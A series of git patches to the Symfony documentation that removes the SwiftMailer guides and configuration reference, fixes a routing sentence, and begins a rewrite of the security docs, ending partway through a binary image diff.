-                <swiftmailer:delivery-whitelist-pattern>/@specialdomain\.com$/</swiftmailer:delivery-whitelist-pattern>
-                <swiftmailer:delivery-whitelist-pattern>/^admin@mydomain\.com$/</swiftmailer:delivery-whitelist-pattern>
-                <swiftmailer:delivery-address>dev@example.com</swiftmailer:delivery-address>
-            </swiftmailer:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/dev/swiftmailer.php
-        $container->loadFromExtension('swiftmailer', [
-            'delivery_addresses' => ["dev@example.com"],
-            'delivery_whitelist' => [
-                // all email addresses matching these regexes will be delivered
-                // like normal, as well as being sent to dev@example.com
-                '/@specialdomain\.com$/',
-                '/^admin@mydomain\.com$/',
-            ],
-        ]);
-
-In the above example all email messages will be redirected to ``dev@example.com``
-and messages sent to the ``admin@mydomain.com`` address or to any email address
-belonging to the domain ``specialdomain.com`` will also be delivered as normal.
-
-.. caution::
-
-    The ``delivery_whitelist`` option is ignored unless the ``delivery_addresses`` option is defined.
-
-Viewing from the Web Debug Toolbar
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-You can view any email sent during a single response when you are in the
-``dev`` environment using the web debug toolbar. The email icon in the toolbar
-will show how many emails were sent. If you click it, a report will open
-showing the details of the sent emails.
-
-If you're sending an email and then immediately redirecting to another page,
-the web debug toolbar will not display an email icon or a report on the next
-page.
-
-Instead, you can set the ``intercept_redirects`` option to ``true`` in the
-``dev`` environment, which will cause the redirect to stop and allow you to open
-the report with details of the sent emails.
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/dev/web_profiler.yaml
-        web_profiler:
-            intercept_redirects: true
-
-    .. code-block:: xml
-
-        <!-- config/packages/dev/web_profiler.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:webprofiler="http://symfony.com/schema/dic/webprofiler"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/webprofiler
-                https://symfony.com/schema/dic/webprofiler/webprofiler-1.0.xsd">
-
-            <webprofiler:config
-                intercept-redirects="true"
-            />
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/dev/web_profiler.php
-        use Symfony\Config\WebProfilerConfig;
-
-        return static function (WebProfilerConfig $webProfiler) {
-            $webProfiler->interceptRedirects(true);
-        };
-
-.. tip::
-
-    Alternatively, you can open the profiler after the redirect and search
-    by the submit URL used on the previous request (e.g. ``/contact/handle``).
-    The profiler's search feature allows you to load the profiler information
-    for any past requests.
-
-.. tip::
-
-    In addition to the features provided by Symfony, there are applications that
-    can help you test emails during application development, like `MailCatcher`_,
-    `Mailtrap`_ and `MailHog`_.
-
-How to Spool Emails
--------------------
-
-The default behavior of the Symfony mailer is to send the email messages
-immediately. You may, however, want to avoid the performance hit of the
-communication to the email server, which could cause the user to wait for the
-next page to load while the email is sending. This can be avoided by choosing to
-"spool" the emails instead of sending them directly.
-
-This makes the mailer to not attempt to send the email message but instead save
-it somewhere such as a file. Another process can then read from the spool and
-take care of sending the emails in the spool. Currently only spooling to file or
-memory is supported.
-
-.. _email-spool-memory:
-
-Spool Using Memory
-~~~~~~~~~~~~~~~~~~
-
-When you use spooling to store the emails to memory, they will get sent right
-before the kernel terminates. This means the email only gets sent if the whole
-request got executed without any unhandled exception or any errors. To configure
-this spool, use the following configuration:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/swiftmailer.yaml
-        swiftmailer:
-            # ...
-            spool: { type: memory }
-
-    .. code-block:: xml
-
-        <!-- config/packages/swiftmailer.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
-
-            <swiftmailer:config>
-                <swiftmailer:spool type="memory"/>
-            </swiftmailer:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/swiftmailer.php
-        $container->loadFromExtension('swiftmailer', [
-            // ...
-            'spool' => ['type' => 'memory'],
-        ]);
-
-.. _spool-using-a-file:
-
-Spool Using Files
-~~~~~~~~~~~~~~~~~
-
-When you use the filesystem for spooling, Symfony creates a folder in the given
-path for each mail service (e.g. "default" for the default service). This folder
-will contain files for each email in the spool. So make sure this directory is
-writable by Symfony (or your webserver/php)!
-
-In order to use the spool with files, use the following configuration:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/swiftmailer.yaml
-        swiftmailer:
-            # ...
-            spool:
-                type: file
-                path: /path/to/spooldir
-
-    .. code-block:: xml
-
-        <!-- config/packages/swiftmailer.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
-
-            <swiftmailer:config>
-                <swiftmailer:spool
-                    type="file"
-                    path="/path/to/spooldir"
-                />
-            </swiftmailer:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/swiftmailer.php
-        $container->loadFromExtension('swiftmailer', [
-            // ...
-
-            'spool' => [
-                'type' => 'file',
-                'path' => '/path/to/spooldir',
-            ],
-        ]);
-
-.. tip::
-
-    If you want to store the spool somewhere with your project directory,
-    remember that you can use the ``%kernel.project_dir%`` parameter to reference
-    the project's root:
-
-    .. code-block:: yaml
-
-        path: '%kernel.project_dir%/var/spool'
-
-Now, when your app sends an email, it will not actually be sent but instead
-added to the spool. Sending the messages from the spool is done separately.
-There is a console command to send the messages in the spool:
-
-.. code-block:: terminal
-
-    $ APP_ENV=prod php bin/console swiftmailer:spool:send
-
-It has an option to limit the number of messages to be sent:
-
-.. code-block:: terminal
-
-    $ APP_ENV=prod php bin/console swiftmailer:spool:send --message-limit=10
-
-You can also set the time limit in seconds:
-
-.. code-block:: terminal
-
-    $ APP_ENV=prod php bin/console swiftmailer:spool:send --time-limit=10
-
-In practice you will not want to run this manually. Instead, the console command
-should be triggered by a cron job or scheduled task and run at a regular
-interval.
-
-.. caution::
-
-    When you create a message with SwiftMailer, it generates a ``Swift_Message``
-    class. If the ``swiftmailer`` service is lazy loaded, it generates instead a
-    proxy class named ``Swift_Message_<someRandomCharacters>``.
-
-    If you use the memory spool, this change is transparent and has no impact.
-    But when using the filesystem spool, the message class is serialized in
-    a file with the randomized class name. The problem is that this random
-    class name changes on every cache clear.
-
-    So if you send a mail and then you clear the cache, on the next execution of
-    ``swiftmailer:spool:send`` an error will raise because the class
-    ``Swift_Message_<someRandomCharacters>`` doesn't exist (anymore).
-
-    The solutions are either to use the memory spool or to load the
-    ``swiftmailer`` service without the ``lazy`` option (see :doc:`/service_container/lazy_services`).
-
-How to Test that an Email is Sent in a Functional Test
-------------------------------------------------------
-
-Sending emails with Symfony is pretty straightforward thanks to the
-SwiftmailerBundle, which leverages the power of the `Swift Mailer`_ library.
-
-To functionally test that an email was sent, and even assert the email subject,
-content or any other headers, you can use :doc:`the Symfony Profiler </profiler>`.
-
-Start with a controller action that sends an email::
-
-    public function sendEmail($name, \Swift_Mailer $mailer)
-    {
-        $message = (new \Swift_Message('Hello Email'))
-            ->setFrom('send@example.com')
-            ->setTo('recipient@example.com')
-            ->setBody('You should see me from the profiler!')
-        ;
-
-        $mailer->send($message);
-
-        // ...
-    }
-
-In your functional test, use the ``swiftmailer`` collector on the profiler
-to get information about the messages sent on the previous request::
-
-    // tests/Controller/MailControllerTest.php
-    namespace App\Tests\Controller;
-
-    use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
-
-    class MailControllerTest extends WebTestCase
-    {
-        public function testMailIsSentAndContentIsOk()
-        {
-            $client = static::createClient();
-
-            // enables the profiler for the next request (it does nothing if the profiler is not available)
-            $client->enableProfiler();
-
-            $crawler = $client->request('POST', '/path/to/above/action');
-
-            $mailCollector = $client->getProfile()->getCollector('swiftmailer');
-
-            // checks that an email was sent
-            $this->assertSame(1, $mailCollector->getMessageCount());
-
-            $collectedMessages = $mailCollector->getMessages();
-            $message = $collectedMessages[0];
-
-            // Asserting email data
-            $this->assertInstanceOf('Swift_Message', $message);
-            $this->assertSame('Hello Email', $message->getSubject());
-            $this->assertSame('send@example.com', key($message->getFrom()));
-            $this->assertSame('recipient@example.com', key($message->getTo()));
-            $this->assertSame(
-                'You should see me from the profiler!',
-                $message->getBody()
-            );
-        }
-    }
-
-Troubleshooting
-~~~~~~~~~~~~~~~
-
-Problem: The Collector Object Is ``null``
-.........................................
-
-The email collector is only available when the profiler is enabled and collects
-information, as explained in :doc:`/testing/profiling`.
-
-Problem: The Collector Doesn't Contain the Email
-................................................
-
-If a redirection is performed after sending the email (for example when you send
-an email after a form is processed and before redirecting to another page), make
-sure that the test client doesn't follow the redirects, as explained in
-:doc:`/testing`. Otherwise, the collector will contain the information of the
-redirected page and the email won't be accessible.
-
-.. _`MailCatcher`: https://github.com/sj26/mailcatcher
-.. _`MailHog`: https://github.com/mailhog/MailHog
-.. _`Mailtrap`: https://mailtrap.io/
-.. _`Swift Mailer`: https://swiftmailer.symfony.com/
-.. _`SwiftMailerBundle`: https://github.com/symfony/swiftmailer-bundle
-.. _`Creating Messages`: https://swiftmailer.symfony.com/docs/messages.html
-.. _`Mandrill`: https://mandrill.com/
-.. _`SendGrid`: https://sendgrid.com/
-.. _`Amazon SES`: https://aws.amazon.com/ses/
-.. _`generate an App password`: https://support.google.com/accounts/answer/185833
-.. _`allow less secure applications to access your Gmail account`: https://support.google.com/accounts/answer/6010255
-.. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
+    Use the :doc:`Symfony Mailer </mailer>` component, which was introduced in
+    Symfony 4.3 as a modern replacement of Swift Mailer.
diff --git a/reference/configuration/swiftmailer.rst b/reference/configuration/swiftmailer.rst
index f88a28aaf29..2e46e99b000 100644
--- a/reference/configuration/swiftmailer.rst
+++ b/reference/configuration/swiftmailer.rst
@@ -4,361 +4,10 @@
 Mailer Configuration Reference (SwiftmailerBundle)
 ==================================================
 
-The SwiftmailerBundle integrates the Swiftmailer library in Symfony applications
-to :doc:`send emails </email>`. All these options are configured under the
-``swiftmailer`` key in your application configuration.
-
-.. code-block:: terminal
-
-    # displays the default config values defined by Symfony
-    $ php bin/console config:dump-reference swiftmailer
-
-    # displays the actual config values used by your application
-    $ php bin/console debug:config swiftmailer
-
-.. note::
-
-    When using XML, you must use the ``http://symfony.com/schema/dic/swiftmailer``
-    namespace and the related XSD schema is available at:
-    ``https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd``
-
-Configuration
--------------
-
-url
-~~~
-
-**type**: ``string``
-
-The entire SwiftMailer configuration using a DSN-like URL format.
-
-Example: ``smtp://user:pass@host:port/?timeout=60&encryption=ssl&auth_mode=login&...``
-
-transport
-~~~~~~~~~
-
-**type**: ``string`` **default**: ``smtp``
-
-The exact transport method to use to deliver emails. Valid values are:
-
-* smtp
-* gmail (see :ref:`email-using-gmail`)
-* mail (deprecated in SwiftMailer since version 5.4.5)
-* sendmail
-* null (same as setting `disable_delivery`_ to ``true``)
-
-username
-~~~~~~~~
-
-**type**: ``string``
-
-The username when using ``smtp`` as the transport.
-
-password
-~~~~~~~~
-
-**type**: ``string``
-
-The password when using ``smtp`` as the transport.
-
-command
-~~~~~~~~
-
-**type**: ``string`` **default**: ``/usr/sbin/sendmail -bs``
-
-Command to be executed by ``sendmail`` transport.
-
-host
-~~~~
-
-**type**: ``string`` **default**: ``localhost``
-
-The host to connect to when using ``smtp`` as the transport.
-
-port
-~~~~
-
-**type**: ``string`` **default**: 25 or 465 (depending on `encryption`_)
-
-The port when using ``smtp`` as the transport. This defaults to 465 if encryption
-is ``ssl`` and 25 otherwise.
-
-timeout
-~~~~~~~
-
-**type**: ``integer``
-
-The timeout in seconds when using ``smtp`` as the transport.
-
-source_ip
-~~~~~~~~~
-
-**type**: ``string``
-
-The source IP address when using ``smtp`` as the transport.
-
-local_domain
-~~~~~~~~~~~~
-
-**type**: ``string``
-
-.. versionadded:: 2.4.0
-
-    The ``local_domain`` option was introduced in SwiftMailerBundle 2.4.0.
-
-The domain name to use in ``HELO`` command.
-
-encryption
-~~~~~~~~~~
-
-**type**: ``string``
-
-The encryption mode to use when using ``smtp`` as the transport. Valid values
-are ``tls``, ``ssl``, or ``null`` (indicating no encryption).
-
-auth_mode
-~~~~~~~~~
-
-**type**: ``string``
-
-The authentication mode to use when using ``smtp`` as the transport. Valid
-values are ``plain``, ``login``, ``cram-md5``, ``ntlm`` or ``null``.
-
-spool
-~~~~~
-
-For details on email spooling, see :doc:`/mailer`.
-
-type
-....
-
-**type**: ``string`` **default**: ``file``
-
-The method used to store spooled messages. Valid values are ``memory`` and
-``file``. A custom spool should be possible by creating a service called
-``swiftmailer.spool.myspool`` and setting this value to ``myspool``.
-
-path
-....
-
-**type**: ``string`` **default**: ``%kernel.cache_dir%/swiftmailer/spool``
-
-When using the ``file`` spool, this is the path where the spooled messages
-will be stored.
-
-sender_address
-~~~~~~~~~~~~~~
-
-**type**: ``string``
-
-If set, all messages will be delivered with this address as the "return
-path" address, which is where bounced messages should go. This is handled
-internally by Swift Mailer's ``Swift_Plugins_ImpersonatePlugin`` class.
-
-antiflood
-~~~~~~~~~
-
-threshold
-.........
-
-**type**: ``integer`` **default**: ``99``
-
-Used with ``Swift_Plugins_AntiFloodPlugin``. This is the number of emails
-to send before restarting the transport.
-
-sleep
-.....
-
-**type**: ``integer`` **default**: ``0``
-
-Used with ``Swift_Plugins_AntiFloodPlugin``. This is the number of seconds
-to sleep for during a transport restart.
-
-.. _delivery-address:
-
-delivery_addresses
-~~~~~~~~~~~~~~~~~~
-
-**type**: ``array``
-
-.. note::
-
-    In previous versions, this option was called ``delivery_address``.
-
-If set, all email messages will be sent to these addresses instead of being sent
-to their actual recipients. This is often useful when developing. For example,
-by setting this in the ``config/packages/dev/swiftmailer.yaml`` file, you can
-guarantee that all emails sent during development go to one or more some
-specific accounts.
-
-This uses ``Swift_Plugins_RedirectingPlugin``. Original recipients are available
-on the ``X-Swift-To``, ``X-Swift-Cc`` and ``X-Swift-Bcc`` headers.
-
-delivery_whitelist
-~~~~~~~~~~~~~~~~~~
-
-**type**: ``array``
-
-Used in combination with ``delivery_address`` or ``delivery_addresses``. If set, emails matching any
-of these patterns will be delivered like normal, as well as being sent to
-``delivery_address`` or ``delivery_addresses``. For details, see the
-:ref:`How to Work with Emails during Development <sending-to-a-specified-address-but-with-exceptions>`
-article.
-
-disable_delivery
-~~~~~~~~~~~~~~~~
-
-**type**: ``boolean`` **default**: ``false``
-
-If true, the ``transport`` will automatically be set to ``null`` and no
-emails will actually be delivered.
-
-logging
-~~~~~~~
-
-**type**: ``boolean`` **default**: ``%kernel.debug%``
-
-If true, Symfony's data collector will be activated for Swift Mailer and
-the information will be available in the profiler.
-
-.. tip::
-
-    The following options can be set via environment variables: ``url``,
-    ``transport``, ``username``, ``password``, ``host``, ``port``, ``timeout``,
-    ``source_ip``, ``local_domain``, ``encryption``, ``auth_mode``. For details,
-    see: :ref:`config-env-vars`.
-
-Using Multiple Mailers
-----------------------
-
-You can configure multiple mailers by grouping them under the ``mailers``
-key (the default mailer is identified by the ``default_mailer`` option):
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        swiftmailer:
-            default_mailer: second_mailer
-            mailers:
-                first_mailer:
-                    # ...
-                second_mailer:
-                    # ...
-
-    .. code-block:: xml
-
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer
-                https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
-
-            <swiftmailer:config default-mailer="second_mailer">
-                <swiftmailer:mailer name="first_mailer"/>
-                <swiftmailer:mailer name="second_mailer"/>
-            </swiftmailer:config>
-        </container>
-
-    .. code-block:: php
-
-        $container->loadFromExtension('swiftmailer', [
-            'default_mailer' => 'second_mailer',
-            'mailers' => [
-                'first_mailer' => [
-                    // ...
-                ],
-                'second_mailer' => [
-                    // ...
-                ],
-            ],
-        ]);
-
-Each mailer is registered automatically as a service with these IDs::
-
-    // ...
-
-    // returns the first mailer
-    $container->get('swiftmailer.mailer.first_mailer');
-
-    // also returns the second mailer since it is the default mailer
-    $container->get('swiftmailer.mailer');
-
-    // returns the second mailer
-    $container->get('swiftmailer.mailer.second_mailer');
-
 .. caution::
 
-    When configuring multiple mailers, options must be placed under the
-    appropriate mailer key of the configuration instead of directly under the
-    ``swiftmailer`` key.
-
-When using :ref:`autowiring <services-autowire>` only the default mailer is
-injected when type-hinting some argument with the ``\Swift_Mailer`` class. If
-you need to inject a different mailer in some service, use any of these
-alternatives based on the :ref:`service binding <services-binding>` feature:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            _defaults:
-                bind:
-                    # this injects the second mailer when type-hinting constructor arguments with \Swift_Mailer
-                    \Swift_Mailer: '@swiftmailer.mailer.second_mailer'
-                    # this injects the second mailer when a service constructor argument is called $specialMailer
-                    $specialMailer: '@swiftmailer.mailer.second_mailer'
-
-            App\Some\Service:
-                # this injects the second mailer only for this argument of this service
-                $differentMailer: '@swiftmailer.mailer.second_mailer'
-
-            # ...
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <defaults autowire="true" autoconfigure="true" public="false">
-                    <!-- this injects the second mailer when type-hinting constructor arguments with \Swift_Mailer -->
-                    <bind key="\Swift_Mailer">@swiftmailer.mailer.second_mailer</bind>
-                    <!-- this injects the second mailer when a service constructor argument is called $specialMailer -->
-                    <bind key="$specialMailer">@swiftmailer.mailer.second_mailer</bind>
-                </defaults>
-
-                <service id="App\Some\Service">
-                    <!-- this injects the second mailer only for this argument of this service -->
-                    <argument key="$differentMailer">@swiftmailer.mailer.second_mailer</argument>
-                </service>
-
-                <!-- ... -->
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        use App\Some\Service;
-        use Psr\Log\LoggerInterface;
-
+    The Swift Mailer project is not supported since November 2021 and its
+    integration with Symfony was removed in Symfony 6.0.
 
-        $container->register(Service::class)
-            ->setPublic(true)
-            ->setBindings([
-                // this injects the second mailer when this service type-hints constructor arguments with \Swift_Mailer
-                \Swift_Mailer::class => '@swiftmailer.mailer.second_mailer',
-                // this injects the second mailer when this service has a constructor argument called $specialMailer
-                '$specialMailer' => '@swiftmailer.mailer.second_mailer',
-            ])
-        ;
+    Use the :doc:`Symfony Mailer </mailer>` component, which was introduced in
+    Symfony 4.3 as a modern replacement of Swift Mailer.
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index ad7d876523c..23b694910d9 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -953,28 +953,6 @@ The priorities of the default normalizers can be found in the
 :method:`Symfony\\Bundle\\FrameworkBundle\\DependencyInjection\\FrameworkExtension::registerSerializerConfiguration`
 method.
 
-swiftmailer.default.plugin
---------------------------
-
-**Purpose**: Register a custom SwiftMailer Plugin
-
-If you're using a custom SwiftMailer plugin (or want to create one), you
-can register it with SwiftMailer by creating a service for your plugin and
-tagging it with ``swiftmailer.default.plugin`` (it has no options).
-
-.. note::
-
-    ``default`` in this tag is the name of the mailer. If you have multiple
-    mailers configured or have changed the default mailer name for some
-    reason, you should change it to the name of your mailer in order to
-    use this tag.
-
-A SwiftMailer plugin must implement the ``Swift_Events_EventListener`` interface.
-For more information on plugins, see `SwiftMailer's Plugin Documentation`_.
-
-Several SwiftMailer plugins are core to Symfony and can be activated via
-different configuration. For details, see :doc:`/reference/configuration/swiftmailer`.
-
 .. _dic-tags-translation-loader:
 
 translation.loader
@@ -1356,6 +1334,5 @@ For an example, see the ``DoctrineInitializer`` class inside the Doctrine
 Bridge.
 
 .. _`Twig's documentation`: https://twig.symfony.com/doc/2.x/advanced.html#creating-an-extension
-.. _`SwiftMailer's Plugin Documentation`: https://swiftmailer.symfony.com/docs/plugins.html
 .. _`Twig Loader`: https://twig.symfony.com/doc/2.x/api.html#loaders
 .. _`PHP class preloading`: https://www.php.net/manual/en/opcache.configuration.php#ini.opcache.preload

From 55b322dbbeb78c93977a0f35942336bec1fc4e8a Mon Sep 17 00:00:00 2001
From: arend <arend@adivare.nl>
Date: Thu, 16 Sep 2021 16:01:07 +0200
Subject: [PATCH 2572/7107] rewrite incorrect sentence

---
 routing.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/routing.rst b/routing.rst
index 7a89dde0234..bd014cfcfb6 100644
--- a/routing.rst
+++ b/routing.rst
@@ -824,8 +824,7 @@ Parameter Conversion
 
 A common routing need is to convert the value stored in some parameter (e.g. an
 integer acting as the user ID) into another value (e.g. the object that
-represents the user). This feature is called "param converter" and is only
-available when using annotations to define routes.
+represents the user). This feature is called "param converter".
 
 In case you didn't run this command before, run it now to add support for
 annotations and "param converters":

From d5460edef18aac892033e7a0c43cb9a4689a4bd6 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Fri, 7 May 2021 18:32:10 +0200
Subject: [PATCH 2573/7107] Rewrite Security documentation

---
 _build/conf.py                                |   11 -
 _build/redirection_map                        |   13 +-
 _images/security/anonymous_wdt.png            |  Bin 7355 -> 17124 bytes
 _images/security/security_events.svg          |  338 ++
 _images/sources/security/security_events.dia  |  Bin 0 -> 2566 bytes
 doctrine/registration_form.rst                |    2 +-
 event_dispatcher.rst                          |    6 +-
 reference/configuration/security.rst          |  529 ++-
 security.rst                                  | 2871 ++++++++++++-----
 security/access_denied_handler.rst            |    2 +
 security/acl.rst                              |   15 -
 security/auth_providers.rst                   |  238 --
 security/csrf.rst                             |    4 +-
 security/custom_authentication_provider.rst   |  653 ----
 ...r_manager.rst => custom_authenticator.rst} |  299 +-
 security/expressions.rst                      |    8 +-
 security/form_login.rst                       |  394 +--
 security/form_login_setup.rst                 |  512 ---
 security/guard_authentication.rst             |  577 ----
 security/json_login_setup.rst                 |  213 --
 security/ldap.rst                             |    5 +-
 security/login_link.rst                       |   10 +-
 security/multiple_authenticators.rst          |  173 +
 security/multiple_guard_authenticators.rst    |  185 --
 security/named_hashers.rst                    |  192 --
 security/password_migration.rst               |  251 --
 security/passwords.rst                        |  782 +++++
 security/reset_password.rst                   |   28 -
 security/securing_services.rst                |   53 -
 security/user_provider.rst                    |  537 ---
 security/user_providers.rst                   |  362 +++
 testing.rst                                   |    7 +-
 32 files changed, 3943 insertions(+), 5327 deletions(-)
 create mode 100644 _images/security/security_events.svg
 create mode 100644 _images/sources/security/security_events.dia
 delete mode 100644 security/acl.rst
 delete mode 100644 security/auth_providers.rst
 delete mode 100644 security/custom_authentication_provider.rst
 rename security/{authenticator_manager.rst => custom_authenticator.rst} (55%)
 delete mode 100644 security/form_login_setup.rst
 delete mode 100644 security/guard_authentication.rst
 delete mode 100644 security/json_login_setup.rst
 create mode 100644 security/multiple_authenticators.rst
 delete mode 100644 security/multiple_guard_authenticators.rst
 delete mode 100644 security/named_hashers.rst
 delete mode 100644 security/password_migration.rst
 create mode 100644 security/passwords.rst
 delete mode 100644 security/reset_password.rst
 delete mode 100644 security/securing_services.rst
 delete mode 100644 security/user_provider.rst
 create mode 100644 security/user_providers.rst

diff --git a/_build/conf.py b/_build/conf.py
index 071991c5411..9ff1ff050ac 100644
--- a/_build/conf.py
+++ b/_build/conf.py
@@ -121,17 +121,6 @@
 lexers['terminal'] = TerminalLexer()
 lexers['env']  = BashLexer()
 
-config_block = {
-    'apache': 'Apache',
-    'markdown': 'Markdown',
-    'nginx': 'Nginx',
-    'rst': 'reStructuredText',
-    'varnish2': 'Varnish 2',
-    'varnish3': 'Varnish 3',
-    'varnish4': 'Varnish 4',
-    'env': '.env'
-}
-
 # don't enable Sphinx Domains
 primary_domain = None
 
diff --git a/_build/redirection_map b/_build/redirection_map
index 7e3d4bea2af..900bdd611b2 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -518,4 +518,15 @@
 /components/index https://symfony.com/components
 /logging/monolog_regex_based_excludes /logging/monolog_exclude_http_codes
 /security/named_encoders /security/named_hashers
-/security/experimental_authenticators /security/authenticator_manager
+/security/experimental_authenticators /security
+/security/user_provider /security/user_providers
+/security/reset_password /security#reset-password
+/security/auth_providers /security#authenticating-users
+/security/form_login /security#form-login
+/security/form_login_setup /security#form-login
+/security/json_login_setup /security#json-login
+/security/named_hashers /security/passwords#TODO
+/security/password_migration /security/passwords#TODO
+/security/acl https://github.com/symfony/acl-bundle/blob/main/src/Resources/doc/index.rst
+/security/securing_services /security#securing-other-services
+/security/authenticator_manager /security
diff --git a/_images/security/anonymous_wdt.png b/_images/security/anonymous_wdt.png
index 8dbf1cd8298b16129153cc4e501b67ec24263ef4..80736afce3910c746a1054078bf0f84cc21c1862 100644
GIT binary patch
literal 17124
zcmeHtby!vHw(n9<1O!o1kQV9gRuB;cM7jkQi<0h;P(-9fS`b7^T1vX4q(wkFBm^X-
zn>&_%d!PN?bN;yddG7gd`}rYrtvTQM&i5T-{9?>NWhGfW9C9240)Z!Y_qGZGah3#r
z_quQ%ex59`AQ1>02M;wZClw=C8aoGDQwu8;jgz|_iU#FoVTwSwjikptilJx4e|B0N
zq<xm=rJ=A`PdsJk#=Po?x~l%T_%2FQxGx_2f<F<CaN_CF;d7r~?c&YK+59Wn5t@tX
z^9^#r1%qx9s%$;;OTjHiwFiychKJ%zj&efnOON_?>%*7U&Lk7!cmIqH9PyZplbl$X
z6Zbh3=<P^ivWZBp!^1unkC+_{-AXd7{zzOZcv$K0ZqOPYDrPe!xhHEO`TDrewb8Sx
zC~Wreb-7vId!AQmPLiKqtZT@WeAYmh7#rTRYa%qO>3#6nnXS^sa(_-*^6iHE4jy~F
zEwz_y&g?GzMpxT``_bI?%b#Tw8x`Isl@1nb#YZ#SZV!7&rUlmyPiv~i&3cxNiJAuv
zCi+`Rl6jMm$mUp^GktvIr_s#I?yeJ|&Lk-xW`ZJj<;79T6<KL-?o=*{wMLWNh<Pj}
zpyXgcvp|}lwdx)?qj~hkMqsfh{mjN$m+zJ*B@E&nJLR8>b&zv!-1r!8+`G8nv9_*>
zHMW%X^3|crj~UkG_Te|7SHlv0HppJ29lBV0T|4@9a^j$O4l~DdST${CX#chGw=KyV
zFR{$OH?;qX_QU?@rsx~2RcWkng#b}{o!=rTra1i>Jp}?!p+{u{^NHG{39@*(tLGA8
zyeyt;c~EunI||!T@?ZqAu$&jrKW`YV5=hM&N=B}3nN@08I$~KMEfcJv&hM;p?S{rv
zbyeO+->ms8(g!lSbRN}&CRN>hUHYhO!eb5j;fLXmhJ^+UWTzM^M!T`!qPR<<mF}^I
zw)0}qfW|}QJUhk7P^ER*_^!|*fqZ77$JUTVX0knYDeLzb-2#KEl^s!u2cC@weTSTH
zV<z6uVKMuBk$5nZJ={vvwwNYjiinYxqp`t1bLI_Y@sJAhaD-#0agT{i7nwF?@tbSh
z1Z<3R9(`CYv~>i|vnQ8r8rm<F&(#I%*)5#VIY`dzu=ao49QPpbM5T!G;|#a*(hHuv
zSC^!2T(dc9o6++!e%Jj)R?^LtiP2DS)6`E~$?|b=KPs%EyE;JR-0fWti~eQJ{J}4W
zdy6|H%RW7i-KD(Uw>yLmC7k!%XKlYN4`}2uUdplW>J3aWZ^TNx_1Ry2W!AvbAT~ko
z(Y)3@*HEM57hO2sGb0M5%PQjEY?oD*s;j!+RhcNwUl3Qt-w1S9SX{b29#|p!uD`4`
zy^*+$nz}LB>r1%cWrl>3P6CwaT5(|2bcqfIv3cZ$d!@5E9`X+altSfm(kT!5wcm=i
z+Gf5z+K!O2Sd1EZp}E24j2X*D;d))zJTGdHkovlOzFBE4kKTj3D=uX_?~|C>leDB|
zUrp)9HGL)KeVmkCCDI}1s>0Vpdr0z>snq+fFOSnoL`PVx)3~x1)?37z<>Ac<gXKB=
zC@o>Hmwl*^@l2+~-U>~*n7%UpRmvJ<dU5f`!k$%WHnN}`U*V#Lu#4}be3|W)OfW9`
zE~m=(xX3+9sJb5cV9;L#KPK(WlN8lwMBEE^5mc0x{_n^1Nt5K{Y@c9h^B1u$^l}lJ
zD(hR9VH4&i2v`{G7^{-pL=<HWk+UjH88uNq&=r3gd6kId*VTk<#yt0o(ppg)f3JG3
z)Vnre<oGo9<P?zzee33L1|hF0Tq1_cCZfy+^D<fcO#<S|aq%!u4O(OGZ(aWQ3-5bh
zk-G`O%__II*Y0=5Y>qknV9OLsdyr)1930=7JYPkSFQ}(rv~=IC?Oc^h{hU^>(<A!N
